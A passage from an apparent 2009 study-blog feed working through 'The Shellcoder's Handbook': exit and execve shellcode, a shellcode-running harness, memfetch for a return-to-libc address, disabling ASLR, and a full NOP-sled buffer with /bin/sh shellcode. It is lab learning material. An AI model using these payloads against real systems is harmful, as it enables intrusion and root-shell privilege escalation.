src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7878423829977457548.post-582208303033953772</id><published>2009-06-17T21:19:00.000-07:00</published><updated>2009-06-17T22:43:05.158-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='execve'/><category scheme='http://www.blogger.com/atom/ns#' term='chapter_3'/><category scheme='http://www.blogger.com/atom/ns#' term='pop esi'/><category scheme='http://www.blogger.com/atom/ns#' term='execve2.c'/><category scheme='http://www.blogger.com/atom/ns#' term='vim syntax'/><category scheme='http://www.blogger.com/atom/ns#' term='manpages'/><category scheme='http://www.blogger.com/atom/ns#' term='asm'/><title type='text'>Chapter 3, "Spawning a Shell," pp 51-58</title><content type='html'>Just a quick note on the assembly listings that start on page 51: I've found &lt;a href="http://www.vim.org/scripts/script.php?script_id=1650"&gt;this script&lt;/a&gt; to be more useful than the stock ASM syntax highlighting that ships with vim.&lt;br /&gt;&lt;br /&gt;Also as an aside, the man pages for execve (and other system calls) aren't installed on Ubuntu by default. You'll need to &lt;tt&gt;sudo apt-get install manpages-dev&lt;/tt&gt; to get the goods, then &lt;tt&gt;man 2 execve&lt;/tt&gt; to play along at home.&lt;br /&gt;&lt;br /&gt;I'm not quite sure what the purpose is of the "practice" shellcode note on page 54 is useful for; since we're stuck with fixed addresses in the original disassembly, it's pretty pointless to write up the corresponding shellcode without using the JMP + POP ESI tricks discussed on the following page.&lt;br /&gt;&lt;br /&gt;And finally, the shellcode invocation method for execve2.c (page 58) will need to be replaced with the phiral version, as discussed for wack.c:&lt;pre class="code"&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;  int (*ret)();&lt;br /&gt;  ret = (int (*)())shellcode;&lt;br /&gt;  (int)(*ret)();&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;With that minor change, the injectable shellcode works perfectly well. And with that, we've come to the end of chapter 3. Next up, format string bugs!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7878423829977457548-582208303033953772?l=shellcoders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shellcoders.blogspot.com/feeds/582208303033953772/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://shellcoders.blogspot.com/2009/06/working-with-disassembly-in-vim-page-51.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7878423829977457548/posts/default/582208303033953772'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7878423829977457548/posts/default/582208303033953772'/><link rel='alternate' type='text/html' href='http://shellcoders.blogspot.com/2009/06/working-with-disassembly-in-vim-page-51.html' title='Chapter 3, &quot;Spawning a Shell,&quot; pp 51-58'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='25' src='http://www.planb-security.net/todb/whr_avatar.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7878423829977457548.post-1379025836906998530</id><published>2009-06-16T19:20:00.000-07:00</published><updated>2009-06-16T19:35:59.370-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='chapter_3'/><category scheme='http://www.blogger.com/atom/ns#' term='ebx'/><category scheme='http://www.blogger.com/atom/ns#' term='shellcode'/><category scheme='http://www.blogger.com/atom/ns#' term='nulls'/><category scheme='http://www.blogger.com/atom/ns#' term='xor'/><title type='text'>Chapter 3, "Injectable Shellcode," page 49</title><content type='html'>After the run through of wack.c, a couple pages are devoted to the notion of nuking your nulls and shortening your shellcode. However, there's a bit of a problem with the technique described for dropping nulls from the mov statement. The author suggests replacing "mov eax,1" (which has lots of nulls since EAX is a 32-bit register) with "mov al,1", seeing how AL represents only the lower eight bits of EAX.&lt;br /&gt;&lt;br /&gt;Although this does achieve the effect of stripping nulls off the shellcode, it also leaves the other three bytes alone. Without some register housekeeping, trouble is afoot:&lt;pre class="code"&gt;&lt;br /&gt;todb@mazikeen:~/dev/sc/code/ch03$ gcc -static -g -o wack2 wack2.c&lt;br /&gt;todb@mazikeen:~/dev/sc/code/ch03$ ./wack2&lt;br /&gt;Segmentation fault (core dumped)&lt;/pre&gt;&lt;br /&gt;Ew. Instead, make sure that you zero out not only EBX, but EAX as well:&lt;br /&gt;&lt;pre class="code"&gt;&lt;br /&gt;  char shellcode[] = &lt;br /&gt; "\x31\xdb" // xor eax,eax&lt;br /&gt; "\x31\xc0" // xor ebx,ebx&lt;br /&gt; "\xb0\x01"  // mov al,1&lt;br /&gt; "\xcd\x80"; // int 0x80&lt;/pre&gt; This takes care of whatever was lingering around in both EAX and EBX before you started, and only costs a couple more (non-null) bytes.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7878423829977457548-1379025836906998530?l=shellcoders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shellcoders.blogspot.com/feeds/1379025836906998530/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://shellcoders.blogspot.com/2009/06/chapter-3-injectable-shellcode-page-49.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7878423829977457548/posts/default/1379025836906998530'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7878423829977457548/posts/default/1379025836906998530'/><link rel='alternate' type='text/html' href='http://shellcoders.blogspot.com/2009/06/chapter-3-injectable-shellcode-page-49.html' title='Chapter 3, &quot;Injectable Shellcode,&quot; page 49'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='25' src='http://www.planb-security.net/todb/whr_avatar.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7878423829977457548.post-7370168390732729756</id><published>2009-06-10T14:18:00.000-07:00</published><updated>2009-06-16T18:16:39.540-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='chapter_3'/><category scheme='http://www.blogger.com/atom/ns#' term='strace'/><category scheme='http://www.blogger.com/atom/ns#' term='wack.c'/><category scheme='http://www.blogger.com/atom/ns#' term='gdb'/><title type='text'>Chapter 3, "Shellcode," and a slightly buggy wack.c on page 46</title><content type='html'>On page 46, the question is posed, "how do you really know your shellcode is getting run?" The solution presented is to use strace. The example wack.c in the text is dutifully strace'd to exit(0) at the bottom of the page.&lt;br /&gt;&lt;br /&gt;Sadly, this is not the case for me. Behold:&lt;pre class="code"&gt;&lt;br /&gt;todb@mazikeen:~/dev/sc/ch03$ strace ./wack&lt;br /&gt;execve("./wack", ["./wack"], [/* 45 vars */]) = 0&lt;br /&gt;uname({sys="Linux", node="mazikeen", ...}) = 0&lt;br /&gt;brk(0)                                  = 0x8c85000&lt;br /&gt;brk(0x8c85cb0)                          = 0x8c85cb0&lt;br /&gt;set_thread_area({entry_number:-1 -&gt; 6, base_addr:0x8c85830, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0&lt;br /&gt;brk(0x8ca6cb0)                          = 0x8ca6cb0&lt;br /&gt;brk(0x8ca7000)                          = 0x8ca7000&lt;br /&gt;exit_group(135016456)                   = ?&lt;br /&gt;Process 9231 detached&lt;/pre&gt;So, I'm getting an exit_group(some number) getting called instead of my lovingly hand-coded exit(0). At first, I assumed that gcc is doing some kind of compile-time fixup on my shellcode. However, after Googling around for some ideas on what's up with this, I came across &lt;a href="http://www.phiral.net/shellcode.htm"&gt;Introduction to Writing Shellcode&lt;/a&gt;, which is nearly identical to the exercise here in Chapter 3, except the type casting the shellcode[] arry as a function is approached somewhat differently -- and has some very useful comments for a C n00b like myself.&lt;br /&gt;&lt;br /&gt;Also, the phiral.net textfile has a handy pointer to the gdb method of verifying shellcode. Here's my screen dump of that:&lt;pre class="code"&gt;&lt;br /&gt;todb@mazikeen:~/dev/sc/ch03$ gcc -g wack.c -o wack&lt;br /&gt;todb@mazikeen:~/dev/sc/ch03$ gdb wack&lt;br /&gt;GNU gdb 6.8-debian&lt;br /&gt;Copyright (C) 2008 Free Software Foundation, Inc.&lt;br /&gt;License GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt;&lt;br /&gt;This is free software: you are free to change and redistribute it.&lt;br /&gt;There is NO WARRANTY, to the extent permitted by law.  Type "show copying"&lt;br /&gt;and "show warranty" for details.&lt;br /&gt;This GDB was configured as "i486-linux-gnu"...&lt;br /&gt;(gdb) disas shellcode&lt;br /&gt;Dump of assembler code for function shellcode:&lt;br /&gt;0x0804a010 &lt;shellcode+0&gt;: mov    $0x0,%ebx&lt;br /&gt;0x0804a015 &lt;shellcode+5&gt;: mov    $0x1,%eax&lt;br /&gt;0x0804a01a &lt;shellcode+10&gt;: int    $0x80&lt;br /&gt;0x0804a01c &lt;shellcode+12&gt;: add    %al,(%eax)&lt;br /&gt;End of assembler dump.&lt;br /&gt;(gdb) &lt;/pre&gt; This is handy, because I was getting the same results from the disas shellcode as I was with the more broken version -- which isn't surprising, since my shellcode was, in fact, sound, I just wasn't invoking it right.&lt;br /&gt;&lt;br /&gt;Here's the fixed wack.c, in case the phiral.net text goes away:&lt;pre class="code"&gt;&lt;br /&gt;todb@mazikeen:~/dev/sc/ch03$ cat wack.c&lt;br /&gt;char shellcode[] = "\xbb\x00\x00\x00\x00"           &lt;br /&gt; "\xb8\x01\x00\x00\x00"                  &lt;br /&gt; "\xcd\x80";                  &lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;  int (*ret)();&lt;br /&gt;  ret = (int (*)())shellcode;&lt;br /&gt;  (int)(*ret)();&lt;br /&gt;}&lt;/pre&gt;And here's my much more satisfying strace:&lt;pre class="code"&gt;&lt;br /&gt;todb@mazikeen:~/dev/sc/ch03$ gcc -static wack.c -o wack&lt;br /&gt;todb@mazikeen:~/dev/sc/ch03$ strace ./wack&lt;br /&gt;execve("./wack", ["./wack"], [/* 45 vars */]) = 0&lt;br /&gt;uname({sys="Linux", node="mazikeen", ...}) = 0&lt;br /&gt;brk(0)                                  = 0x919d000&lt;br /&gt;brk(0x919dcb0)                          = 0x919dcb0&lt;br /&gt;set_thread_area({entry_number:-1 -&gt; 6, base_addr:0x919d830, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0&lt;br /&gt;brk(0x91becb0)                          = 0x91becb0&lt;br /&gt;brk(0x91bf000)                          = 0x91bf000&lt;br /&gt;_exit(0)                                = ?&lt;br /&gt;Process 10218 detached&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7878423829977457548-7370168390732729756?l=shellcoders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shellcoders.blogspot.com/feeds/7370168390732729756/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://shellcoders.blogspot.com/2009/06/chapter-3-shellcode-and-slightly-buggy.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7878423829977457548/posts/default/7370168390732729756'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7878423829977457548/posts/default/7370168390732729756'/><link rel='alternate' type='text/html' href='http://shellcoders.blogspot.com/2009/06/chapter-3-shellcode-and-slightly-buggy.html' title='Chapter 3, &quot;Shellcode,&quot; and a slightly buggy wack.c on page 46'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='25' src='http://www.planb-security.net/todb/whr_avatar.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7878423829977457548.post-2740185637207799313</id><published>2009-05-19T15:23:00.000-07:00</published><updated>2009-06-10T13:01:08.020-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='chapter_2'/><category scheme='http://www.blogger.com/atom/ns#' term='page.h'/><category scheme='http://www.blogger.com/atom/ns#' term='return-to-libc'/><category scheme='http://www.blogger.com/atom/ns#' term='exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='memfetch'/><category scheme='http://www.blogger.com/atom/ns#' term='stack'/><category scheme='http://www.blogger.com/atom/ns#' term='irb'/><title type='text'>Using memfetch, page 37</title><content type='html'>This line is somewhat mysterious:&lt;blockquote&gt;memfetch will dump everything in memory for a specific process; simply look through the binary files for the address of /bin/sh&lt;/blockquote&gt;I've never used memfetch, so may as well get into it now. First, you'll need to get a hold of it and compile it. Download it from &lt;a href="http://lcamtuf.coredump.cx/soft/memfetch.tgz"&gt;Zalewski's site&lt;/a&gt;, and, if you're like me and don't have your Linux kernel headers in your include path already, edit the #include line for 'page.h' to &lt;pre class='code'&gt;#include "/usr/src/linux/include/asm/page.h"&lt;/pre&gt;Googling around for some examples on using memfetch to actually find the address of /bin/sh turns up little, other than copy-pastes of this very section of Shellcoders (like &lt;a href="http://cybertanz.blogspot.com/2008/12/stack-overflows.html"&gt;this one&lt;/a&gt;). So, not much luck there. After some trial and error, I have a procedure together now which seems to work pretty well.&lt;br /&gt;&lt;br /&gt;Memfetch won't run on a process that's already being traced (like, via gdb), so the easiest way to search for /bin/sh is to write a program that hangs around a while. I wrote sleeper.c for this:&lt;pre class="code"&gt;int main(void) {&lt;br /&gt; printf("process id: %d\n", getpid());&lt;br /&gt; sleep(30);&lt;br /&gt;}&lt;/pre&gt;At this point, compile and run sleeper.c as normal. Note the process ID, and in another terminal, run memfetch &lt;pid&gt;, grep for "/bin/sh", note which dump it's in, look for its offset, and do a little arithmetic to figure out where this string lives. Below is a screen capture of the process.&lt;pre class="code"&gt;todb@mazikeen:~/dev/sc/memfetch$ ./memfetch 2882&lt;br /&gt;memfetch 0.05b by Michal Zalewski &lt;lcamtuf@coredump.cx&gt;&lt;br /&gt;[+] Attached to PID 2882 (/home/todb/dev/sc/sleep).&lt;br /&gt;[*] Writing master information to mfetch.lst...&lt;br /&gt;    Writing map at 0x08048000 (4096 bytes)... [N] done (map-000.bin)&lt;br /&gt;    Writing map at 0x08049000 (4096 bytes)... [N] done (map-001.bin)&lt;br /&gt;    Writing map at 0x0804a000 (4096 bytes)... [N] done (map-002.bin)&lt;br /&gt;    Writing mem at 0xb7e6c000 (4096 bytes)... [S] done (mem-003.bin)&lt;br /&gt;    Writing map at 0xb7e6d000 (1409024 bytes)... [S] done (map-004.bin)&lt;br /&gt;    Writing map at 0xb7fc5000 (8192 bytes)... [S] done (map-005.bin)&lt;br /&gt;    Writing map at 0xb7fc7000 (4096 bytes)... [S] done (map-006.bin)&lt;br /&gt;    Writing mem at 0xb7fc8000 (12288 bytes)... [S] done (mem-007.bin)&lt;br /&gt;    Writing mem at 0xb7fe0000 (12288 bytes)... [S] done (mem-008.bin)&lt;br /&gt;    Writing map at 0xb7fe3000 (106496 bytes)... [S] done (map-009.bin)&lt;br /&gt;    Writing mem at 0xb7ffd000 (4096 bytes)... [S] done (mem-010.bin)&lt;br /&gt;    Writing map at 0xb7ffe000 (4096 bytes)... [S] done (map-011.bin)&lt;br /&gt;    Writing map at 0xb7fff000 (4096 bytes)... [S] done (map-012.bin)&lt;br /&gt;    Writing mem at 0xbffeb000 (86016 bytes)... [S] done (mem-013.bin)&lt;br /&gt;[*] Done (14 matching). Have a nice day.&lt;br /&gt;todb@mazikeen:~/dev/sc/memfetch$ grep '/bin/sh' *.bin&lt;br /&gt;Binary file map-004.bin matches&lt;br /&gt;todb@mazikeen:~/dev/sc/memfetch$ irb&lt;br /&gt;irb(main):001:0&gt; f = File.open('map-004.bin') {|f| f.read} ; nil&lt;br /&gt;=&gt; nil&lt;br /&gt;irb(main):002:0&gt; hex # A quicky irb function that converts dec to hex for return values.&lt;br /&gt;=&gt; true&lt;br /&gt;irb(main):003:0&gt; loc = f.index('/bin/sh') # the offset into mem-004.bin&lt;br /&gt;=&gt; 13cc73&lt;br /&gt;irb(main):004:0&gt; start = 0xb7e6d000 # Remember, that's where map-004.bin starts.&lt;br /&gt;=&gt; b7e6d000&lt;br /&gt;irb(main):005:0&gt; start + loc # The location of /bin/sh.&lt;br /&gt;=&gt; b7fa9c73&lt;/pre&gt;To verify this value, I re-ran sleep with gdb attached:&lt;pre class="code"&gt;&lt;br /&gt;todb@mazikeen:~/dev/sc$ gdb ./sleep &lt;br /&gt;GNU gdb 6.8-debian&lt;br /&gt;Copyright (C) 2008 Free Software Foundation, Inc.&lt;br /&gt;License GPLv3+: GNU GPL version 3 or later &lt;http://gnu.org/licenses/gpl.html&gt;&lt;br /&gt;This is free software: you are free to change and redistribute it.&lt;br /&gt;There is NO WARRANTY, to the extent permitted by law.  Type "show copying"&lt;br /&gt;and "show warranty" for details.&lt;br /&gt;This GDB was configured as "i486-linux-gnu"...&lt;br /&gt;(gdb) break main&lt;br /&gt;Breakpoint 1 at 0x8048432&lt;br /&gt;(gdb) r&lt;br /&gt;Starting program: /home/todb/dev/sc/sleep &lt;br /&gt;&lt;br /&gt;Breakpoint 1, 0x08048432 in main ()&lt;br /&gt;Current language:  auto; currently asm&lt;br /&gt;(gdb) x/s 0xb7fa9c73&lt;br /&gt;0xb7fa9c73:  "/bin/sh"&lt;br /&gt;(gdb) &lt;/pre&gt;Ta-da! So there you have it, using memfetch to find the location of the string "/bin/sh" for use in a return-to-libc style stack exploit. Remember, for this to work consistently, you need to disable ASLR with &lt;tt&gt;sudo /sbin/sysctl -w kernel.randomize_va_space=0&lt;/tt&gt;, as mentioned &lt;a href="http://shellcoders.blogspot.com/2009/04/avoiding-aslr-page-28.html"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;PS, one useful links I found while puzzling this out is Securiteam's GDB cheat sheet, at: &lt;a href="http://www.securiteam.com/securityreviews/5UP0B2KCKI.html"&gt;http://www.securiteam.com/securityreviews/5UP0B2KCKI.html&lt;/a&gt;. Another is c0ntex's &lt;a href="https://www.securinfos.info/english/security-whitepapers-hacking-tutorials/Return-to-libc.txt"&gt;https://www.securinfos.info/english/security-whitepapers-hacking-tutorials/Return-to-libc.txt&lt;/a&gt;, which is essentially the same as this Shellcoder's section, but just presented a little differently. &lt;br /&gt;&lt;br /&gt;Also, the astute reader will notice about a month lapsed between the last blog post and this one; finals and work and real life intruded on this work for a little bit. Hopefully, I'm back in a position to devote some time to this every day again.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7878423829977457548-2740185637207799313?l=shellcoders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shellcoders.blogspot.com/feeds/2740185637207799313/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://shellcoders.blogspot.com/2009/05/using-memfetch-page-37.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7878423829977457548/posts/default/2740185637207799313'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7878423829977457548/posts/default/2740185637207799313'/><link rel='alternate' type='text/html' href='http://shellcoders.blogspot.com/2009/05/using-memfetch-page-37.html' title='Using memfetch, page 37'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='25' src='http://www.planb-security.net/todb/whr_avatar.png'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7878423829977457548.post-7199315243655974443</id><published>2009-04-16T09:09:00.000-07:00</published><updated>2009-06-10T13:00:47.307-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sarge'/><category scheme='http://www.blogger.com/atom/ns#' term='debian'/><category scheme='http://www.blogger.com/atom/ns#' term='chapter_2'/><category scheme='http://www.blogger.com/atom/ns#' term='2.4 kernel'/><category scheme='http://www.blogger.com/atom/ns#' term='vmware'/><title type='text'>Debian 2.4 Kernel VMWare image ready!</title><content type='html'>I've created a Debian 3.1 (Sarge) VMWare image, featuring the delightfully insecure 2.4 Linux kernel, after several hours of piecing together the Debian jigdo distribution. It's available &lt;a href="http://www.planb-security.net/shellcoders/Debian_3.1r4.tar.gz"&gt;here&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7878423829977457548-7199315243655974443?l=shellcoders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shellcoders.blogspot.com/feeds/7199315243655974443/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://shellcoders.blogspot.com/2009/04/debian-24-kernel-vmware-image-ready.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7878423829977457548/posts/default/7199315243655974443'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7878423829977457548/posts/default/7199315243655974443'/><link rel='alternate' type='text/html' href='http://shellcoders.blogspot.com/2009/04/debian-24-kernel-vmware-image-ready.html' title='Debian 2.4 Kernel VMWare image ready!'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='25' src='http://www.planb-security.net/todb/whr_avatar.png'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7878423829977457548.post-2034433206814665457</id><published>2009-04-15T14:25:00.001-07:00</published><updated>2009-06-10T13:00:34.369-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='chapter_2'/><category scheme='http://www.blogger.com/atom/ns#' term='nop sled'/><category scheme='http://www.blogger.com/atom/ns#' term='nopattack.c'/><category scheme='http://www.blogger.com/atom/ns#' term='shellcode'/><title type='text'>Illustrating the NOP sled, page 34</title><content type='html'>Happily, nopattack.c works like a champ. The immediate problem with attack.c was that I was never getting down to the final system("/bin/bash") call in main(), so I was never going to guess ESP correctly. No such problems plague nopattack.c, though.&lt;br /&gt;&lt;br /&gt;The only mild criticism I have at this point is that the eventual value of the environment variable, $BUF, is never really spelled out in the text. So, this is what it looks like (interpreted through irb):&lt;pre class='code'&gt;irb(main):005:0&gt; buf = %x['set'].split(/\n/)[1]&lt;br /&gt;=&gt; "BUF='\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\353\032^1\300\210F\a\215\036\211^\b\211F\f\260\v\211\363\215N\b\215V\f\315\200\350\341\377\377\377/bin/sh\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377'"&lt;br /&gt;irb(main):006:0&gt; buf[5,10240].unpack("H*").first.scan(/../).join(' ')&lt;br /&gt;=&gt; "90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 eb 1a 5e 31 c0 88 46 07 8d 1e 89 5e 08 89 46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 e8 e1 ff ff ff 2f 62 69 6e 2f 73 68 ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff 27"&lt;/pre&gt;That's a mighty fine NOP sled.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7878423829977457548-2034433206814665457?l=shellcoders.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shellcoders.blogspot.com/feeds/2034433206814665457/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://shellcoders.blogspot.com/2009/04/illustrating-nop-sled.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7878423829977457548/posts/default/2034433206814665457'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7878423829977457548/posts/default/2034433206814665457'/><link rel='alternate' type='text/html' href='http://shellcoders.blogspot.com/2009/04/illustrating-nop-sled.html' title='Illustrating the NOP sled, page 34'/><author><name>todb</name><uri>http://www.blogger.com/profile/13995438898077530671</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='25' src='http://www.planb-security.net/todb/whr_avatar.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7878423829977457548.post-7358764576524026847</id><published>2009-04-14T14:35:00.000-07:00</published><updated>2009-06-10T13:00:03.902-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='chapter_2'/><category scheme='http://www.blogger.com/atom/ns#' term='fail'/><category scheme='http://www.blogger.com/atom/ns#' term='shellcode'/><category scheme='http://www.blogger.com/atom/ns#' term='cheated'/><title type='text'>Cheaters! Page 32</title><content type='html'>Well, even after all that, couldn't get myself a root shell. Couple things to note:&lt;br /&gt;&lt;br /&gt;attack.c doesn't actually run correctly for me -- I get a segfault on run in the neighborhood of line 34. Since my C skills are atrocious, I just rewrote the thing in ruby to do what I think it's supposed to do. However, even with this work-around, I can't trigger the vulnerability in victim.c beyond a segfault. But apparently, that's okay, neither could the authors, since they admit that they "cheated a little bit, to be honest," on page 32, using a different exploit with a different return address.&lt;br /&gt;&lt;br /&gt;On to NOPs!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 